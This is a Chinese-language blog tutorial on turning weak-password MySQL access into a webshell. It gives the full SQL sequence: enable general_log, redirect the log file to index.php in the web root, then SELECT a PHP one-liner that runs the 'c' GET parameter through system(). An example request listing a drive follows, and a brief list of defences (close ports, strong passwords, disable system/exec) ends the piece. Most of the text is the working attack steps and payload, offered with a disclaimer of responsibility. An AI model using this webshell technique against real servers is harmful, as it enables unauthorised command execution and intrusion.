欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

提权学习 -- 使用 mysql 拿到 webshell

程序员文章站 2022-07-15 12:00:41
...

注意

如造成一切损失,与本人无关!

工具准备

scanPort
端口扫描工具,用于扫描内网中开放的端口。

dirBuster
网站目录扫描工具,用于扫描网站的目录已经 URL,暴力**方式,可能会把服务器弄崩(电脑不咋地的情况)。

提权前提

  1. 对方需要开启服务器,且需要知道服务器在宿主机上的绝对路径
  2. 知道其 mysql 用户名和密码
  3. mysql 有读写权限,可以向服务器开放目录写木马文件。

有上述前提的情况下,我们开始提权拿到 webshell 了。

开始提权

首先开始使用 ScanPort 进行扫描,发现很多开放的端口。
提权学习 -- 使用 mysql 拿到 webshell
接下来我们知道服务器暴露端口了,我们开始**找 url。
提权学习 -- 使用 mysql 拿到 webshell
mysql 权限
在扫描的时候,发现了一台电脑中 mysql 端口是开放的,而且尝试去远程连接 mysql。可以连接上去,而且密码还是弱密码。这就知道拿到了 mysql 的权限了。

web 服务器路径
知道 mysql 权限我们还是不够的,需要借助 web 服务器来进行帮忙。为此,在扫描的相关路径中,碰巧遇到电脑使用了 phpstudy,这就暴露出了服务器所在磁盘的具体地址。

接下来我们开始尝试开启 mysql 的日志 general_log 。该日志一般不开启,因为开启后,所有执行 sql 语句都会记录进去,不久就可以占用大量磁盘空间。

开始入侵步骤

  • 进入mysql 执行如下语句,开启 general_log 日志。
set global general_log='on';
  • 将日志文件的存储路径放到服务器开放路径下
SET global general_log_file='绝对路径/index.php';
  • 开始向文件中写入我们的 php 脚本文件
SELECT "<?php $command = $_GET['c'];$i;header('Content-type:text/html;charset=GB2312');system($command,$i); ?>";

上述步骤结束后,我们开始访问

 http://域名或IP/index.php?c=dir f:\

上述命令是调用 cmd 找 F 盘下的文件信息,结果如下:
提权学习 -- 使用 mysql 拿到 webshell

这就拿到了电脑的 webshell。就算是提权成功啦。

防御方式

防御的方法很多,下面我们开看看如何防御。

  • 关闭没必要的端口。
  • mysql 设置高强度密码
  • 服务器目录不允许读写
  • 禁用 php system 函数和 exec 函数
  • 禁用 php fileInfo 扩展

方法很多,最简单的就是加强木马难度啦。

总结
有兴趣的同学可以关注公众号!
提权学习 -- 使用 mysql 拿到 webshell